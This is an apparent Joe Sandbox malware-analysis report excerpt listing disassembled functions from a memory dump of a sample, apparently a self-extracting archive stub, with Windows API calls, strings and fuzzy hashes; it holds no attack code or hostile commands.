Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: DirectoryGdiplusInitializeLibraryLoadMallocStartupSystem
String ID: riched20.dll$3Ro
API String ID: 3498096277-3613677438
Opcode ID: a1f958cccfb55ace794bf7b8613323329e00d394014293b772425c9691f3bb3f
Instruction ID: bc04940ed51e7bba9e1eaee19e909ca7a2684c64669144a5bc9b7f68b4369c4c
Opcode Fuzzy Hash: a1f958cccfb55ace794bf7b8613323329e00d394014293b772425c9691f3bb3f
Instruction Fuzzy Hash: 2FF0FFB5D00209ABCB50AF9AD8499EEFFFCEF95711F00415AE814E2250D7B45645CBB2

Function 00D7F9D1 Relevance: 7.5, APIs: 5, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D7FDC9: ResetEvent.KERNEL32(?,?,00D7F9F3,01021ED8,?,00DB1E74,00000000,00D9F79B,000000FF,000001B8,00D7FC8F,?,?,?,?,00D7A5A0), ref: 00D7FDE9
Part of subcall function 00D7FDC9: ReleaseSemaphore.KERNEL32(?,?,00000000,?,?,?,?,00D7A5A0,?,?,?,?,00D9F79B,000000FF), ref: 00D7FDFD

ReleaseSemaphore.KERNEL32(?,00000020,00000000), ref: 00D7FA05
CloseHandle.KERNEL32(?,?), ref: 00D7FA1F
DeleteCriticalSection.KERNEL32(?), ref: 00D7FA38
CloseHandle.KERNELBASE(?), ref: 00D7FA44
CloseHandle.KERNEL32(?), ref: 00D7FA50

Part of subcall function 00D7FAC7: WaitForSingleObject.KERNEL32(?,000000FF,00D7FD0B,?,?,00D7FD80,?,?,?,?,?,00D7FD6A), ref: 00D7FACD
Part of subcall function 00D7FAC7: GetLastError.KERNEL32(?,?,00D7FD80,?,?,?,?,?,00D7FD6A), ref: 00D7FAD9

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: CloseHandle$ReleaseSemaphore$CriticalDeleteErrorEventLastObjectResetSectionSingleWait
String ID:
API String ID: 1868215902-0
Opcode ID: 0cbfa0c043a91d607cc33c11ca46dd26440c869c14d8a035dac7912c2822a001
Instruction ID: 7071da7ed9a07620c3945c89a9e65343ecd4cdbbc5cdf00c7ce53712729a2e80
Opcode Fuzzy Hash: 0cbfa0c043a91d607cc33c11ca46dd26440c869c14d8a035dac7912c2822a001
Instruction Fuzzy Hash: 1B014C32440744EFCB319B68DD85B86BBAAFB46710F00852AF29E92664DB716804CB71

Function 00D88FC8 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetClassNameW.USER32(?,?,00000050), ref: 00D88FDF
SHAutoComplete.SHLWAPI(?,00000010), ref: 00D89016

Part of subcall function 00D80B12: CompareStringW.KERNEL32(00000400,00001001,00000000,000000FF,?,000000FF,00D7AC49,?,?,?,00D7ABF8,?,-00000002,?,00000000,?), ref: 00D80B28

FindWindowExW.USER32(?,00000000,EDIT,00000000), ref: 00D89006

Strings

EDIT, xrefs: 00D88FEA, 00D88FF5, 00D89002

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: AutoClassCompareCompleteFindNameStringWindow
String ID: EDIT
API String ID: 4243998846-3080729518
Opcode ID: ae366f1d7ee2739f584c256e53f7e59c1a7cf5e270ec2c51d779bcd8391ba861
Instruction ID: 1aa7889bad02b8a1494d41aa4616a91e8d984bc91a6f981de96db47587009cfc
Opcode Fuzzy Hash: ae366f1d7ee2739f584c256e53f7e59c1a7cf5e270ec2c51d779bcd8391ba861
Instruction Fuzzy Hash: C9F0893260132867EB306A655C05FAB77AC9B46B11F080165B940F2281D7609D01C7F6

Function 00D8BE0A Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetEnvironmentVariableW.KERNELBASE(sfxcmd,?), ref: 00D8BE20
SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 00D8BE5C

Strings

sfxcmd, xrefs: 00D8BE1B
sfxpar, xrefs: 00D8BE57

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: EnvironmentVariable
String ID: sfxcmd$sfxpar
API String ID: 1431749950-3493335439
Opcode ID: 37cd7dd425e9048af42d46ce79df732f84012b30632438a1b58c37f80dfadd13
Instruction ID: c3dc8b21663de4c5e4ae0631348c4fbd5d0ea54401663df8e857dd40c4930c43
Opcode Fuzzy Hash: 37cd7dd425e9048af42d46ce79df732f84012b30632438a1b58c37f80dfadd13
Instruction Fuzzy Hash: 19F0A072811324AEC7223F949C09EFABB98EF09B61F044092FD88D6241E7649C80C7B0

Function 00D7973D Relevance: 6.1, APIs: 4, Instructions: 99
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,00000003,-00000001,00000000,?,00000000,?,?,00D7777A,?,00000005,?,00000011), ref: 00D797BD
GetLastError.KERNEL32(?,?,00D7777A,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00D797CA
CreateFileW.KERNEL32(?,?,?,00000000,00000003,?,00000000,?,?,00000800,?,?,00D7777A,?,00000005,?), ref: 00D797FF
GetLastError.KERNEL32(?,?,00D7777A,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00D79807

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: CreateErrorFileLast
String ID:
API String ID: 1214770103-0
Opcode ID: 1e6e6e34ec2d41804cf43bcd13db3a07f87d39b456918bc08f56da3a665d0cc2
Instruction ID: cba1aa0ba2f41c3d879239d21ce6c7be83aed47f751527bae9cc25b21adce7df
Opcode Fuzzy Hash: 1e6e6e34ec2d41804cf43bcd13db3a07f87d39b456918bc08f56da3a665d0cc2
Instruction Fuzzy Hash: 223154728403556FE3209F248C05BE6BBA4FB46320F048629F994872D1E3759888CBB1

Function 00D79613 Relevance: 6.1, APIs: 4, Instructions: 57fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00D79623
ReadFile.KERNELBASE(?,?,00000001,?,00000000), ref: 00D7963B
GetLastError.KERNEL32 ref: 00D7966D
GetLastError.KERNEL32 ref: 00D7968C

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: 35fca890dfba21cb3d557a57dcf88439e69d488e8b971d861d98d27f3469628d
Instruction ID: dbca83e271dca2f189283d78c068d0c54742d50495cebcb8cdde9a2d5dd7f43a
Opcode Fuzzy Hash: 35fca890dfba21cb3d557a57dcf88439e69d488e8b971d861d98d27f3469628d
Instruction Fuzzy Hash: 4D115A32500204ABCF205F61C824A6EBBA9EB06331F14C62AF9AEC5290E736CD409F75

Function 00D977D1 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,00D92213,00000000,00000000,?,00D97778,00D92213,00000000,00000000,00000000,?,00D97975,00000006,FlsSetValue), ref: 00D97803
GetLastError.KERNEL32(?,00D97778,00D92213,00000000,00000000,00000000,?,00D97975,00000006,FlsSetValue,00DA3768,00DA3770,00000000,00000364,?,00D963F1), ref: 00D9780F
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,00D97778,00D92213,00000000,00000000,00000000,?,00D97975,00000006,FlsSetValue,00DA3768,00DA3770,00000000), ref: 00D9781D

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: e4a000f299db7e9fc0f33b2eb0db56069837b4ca8a27459b30cade61d3011288
Instruction ID: 3d50209b84c3d5cfd667b6b87099f756cacff86d20f46a871651365fc2429521
Opcode Fuzzy Hash: e4a000f299db7e9fc0f33b2eb0db56069837b4ca8a27459b30cade61d3011288
Instruction Fuzzy Hash: 0D01A7367293239BCB614B799C48E6A7B98EF457B1B140620FA46D7340D720D901C6F0

Function 00D8991E Relevance: 6.0, APIs: 4, Instructions: 30windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00D8992F
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00D89940
TranslateMessage.USER32(?), ref: 00D8994A
DispatchMessageW.USER32(?), ref: 00D89954

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: Message$DispatchPeekTranslate
String ID:
API String ID: 4217535847-0
Opcode ID: a4f55f65a15f849aa913c5103be7f9bcc76855dbba937c445044af8db658f8ab
Instruction ID: 17e92c83001e5ae3a3f3e4bf556d7b1662ff6e8e5463005047ab91b020377dbc
Opcode Fuzzy Hash: a4f55f65a15f849aa913c5103be7f9bcc76855dbba937c445044af8db658f8ab
Instruction Fuzzy Hash: 63E0ED72C0222EA78B20ABEAAC4CCEFBFACEE072657004115B519D2100D7789505CBF1

Function 00D98618 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 168COMMON

Download Yara Rule

APIs

Part of subcall function 00D981EB: GetOEMCP.KERNEL32(00000000,?,?,00D98474,?), ref: 00D98216

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,00D984B9,?,00000000), ref: 00D9868C
GetCPInfo.KERNEL32(00000000,00D984B9,?,?,?,00D984B9,?,00000000), ref: 00D9869F

Strings

d0F, xrefs: 00D98620

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: CodeInfoPageValid
String ID: d0F
API String ID: 546120528-1238022483
Opcode ID: b1c73db3a20c6df08befe536d678216721c4a5f96e70eee1f09d737ebc6b2344
Instruction ID: bcaa786f391418155c59dabe32bfa53a5ddd9bf12b027fba37dadec099fd576b
Opcode Fuzzy Hash: b1c73db3a20c6df08befe536d678216721c4a5f96e70eee1f09d737ebc6b2344
Instruction Fuzzy Hash: A9512570A003459EDF219FB5C881ABABBE5EF43B10F28446ED0968B251DF35D945EBB0

Function 00D982C3 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 132COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,?,00000000), ref: 00D982E8

Strings

, xrefs: 00D9832D
d0F, xrefs: 00D982CE

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: Info
String ID: $d0F
API String ID: 1807457897-1605285952
Opcode ID: ef5f39786f8deb961ad7e7dc66bdb75cd774c351546bddd6b7bc21d7695d398f
Instruction ID: 763400407378265f076f896a83138b0e14933f17244e7ec00ec2438fc76f315f
Opcode Fuzzy Hash: ef5f39786f8deb961ad7e7dc66bdb75cd774c351546bddd6b7bc21d7695d398f
Instruction Fuzzy Hash: 6F411A7050434C9ADF218E28CC84AFABBEADF46B04F5804EDE5CAC6142D6359945EF70

Function 00D97735 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,?), ref: 00D97795
__crt_fast_encode_pointer.LIBVCRUNTIME ref: 00D977A2

Strings

d0F, xrefs: 00D97749, 00D97785, 00D977AC, 00D977B4

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: AddressProc__crt_fast_encode_pointer
String ID: d0F
API String ID: 2279764990-1238022483
Opcode ID: 1a1e5a597941b5461340148e4e05d1a69e3519b1cf8116c40bc345611f8d33d8
Instruction ID: cf7d9a78579d90934724dc860d04cd61708553761bf61161398df34dcf88e368
Opcode Fuzzy Hash: 1a1e5a597941b5461340148e4e05d1a69e3519b1cf8116c40bc345611f8d33d8
Instruction Fuzzy Hash: 5011A337A14321AB9F259FACEC819AA7395EB85720B1A0220ED15EB354D731DC4187F1

Function 00D7FBB1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00010000,Function_0000FD61,?,00000000,00000000), ref: 00D7FBD5
SetThreadPriority.KERNEL32(?,00000000), ref: 00D7FC1C

Part of subcall function 00D76DD3: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00D76DF1

Strings

CreateThread failed, xrefs: 00D7FBE1

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: Thread$CreatePriority__vswprintf_c_l
String ID: CreateThread failed
API String ID: 2655393344-3849766595
Opcode ID: fc9e5c47fe559388a17c8701b488201326e296bd2cc527184406d6eac3279f7c
Instruction ID: 928fff6175c028c0a4ecc434f2df5f02d57b8c6d7254cf8f2567807afcd950e1
Opcode Fuzzy Hash: fc9e5c47fe559388a17c8701b488201326e296bd2cc527184406d6eac3279f7c
Instruction Fuzzy Hash: 3C01D6713443096FD2306F58DC82F667799EB46721F10443EF946D2280EAE2A8458631

Function 00D97A09 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,F5E85006,00000001,?,000000FF), ref: 00D97A7A

Strings

LCMapStringEx, xrefs: 00D97A1A, 00D97A24
d0F, xrefs: 00D97A0F

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: String
String ID: LCMapStringEx$d0F
API String ID: 2568140703-2145499720
Opcode ID: 181b859a829bf4545e3ad02a4926922b8c25cac83eccf838ec0920e4e3e07547
Instruction ID: a05e4cce0d7b85b8733abd526a301ca7133cf83aa148bccd2bdc2ba5f604244b
Opcode Fuzzy Hash: 181b859a829bf4545e3ad02a4926922b8c25cac83eccf838ec0920e4e3e07547
Instruction Fuzzy Hash: 68012572500209BBCF02AF90DC06EEE7F62EF49710F104114FE0965260CA32DA31EBA4

Function 00D979A7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,00D9709A), ref: 00D979F2

Strings

InitializeCriticalSectionEx, xrefs: 00D979C2
d0F, xrefs: 00D979AD

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: InitializeCriticalSectionEx$d0F
API String ID: 2593887523-4269990031
Opcode ID: 95325a6fe092377222a09dc8cac61673c46969df07ef5e0a622650f36e39cb0b
Instruction ID: f24ac0a78b30228f137b750928060b9cce3a084674751647f83a18ac7995c117
Opcode Fuzzy Hash: 95325a6fe092377222a09dc8cac61673c46969df07ef5e0a622650f36e39cb0b
Instruction Fuzzy Hash: 21F0B475A45318BBCF016F54DC06DAE7F62DF45711F504114FC1596260DA718E109BF4

Function 00D9784C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 00D9788B

Strings

d0F, xrefs: 00D97852
FlsAlloc, xrefs: 00D97867

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: Alloc
String ID: FlsAlloc$d0F
API String ID: 2773662609-3126023658
Opcode ID: 76d4213f7baea12c23c1c17d843ed45564f06f2e416f433f7a9b517be0ba863b
Instruction ID: ec1dc600063b334247275ce0a0d71cae36ff15390336313776e665c31b5b62ee
Opcode Fuzzy Hash: 76d4213f7baea12c23c1c17d843ed45564f06f2e416f433f7a9b517be0ba863b
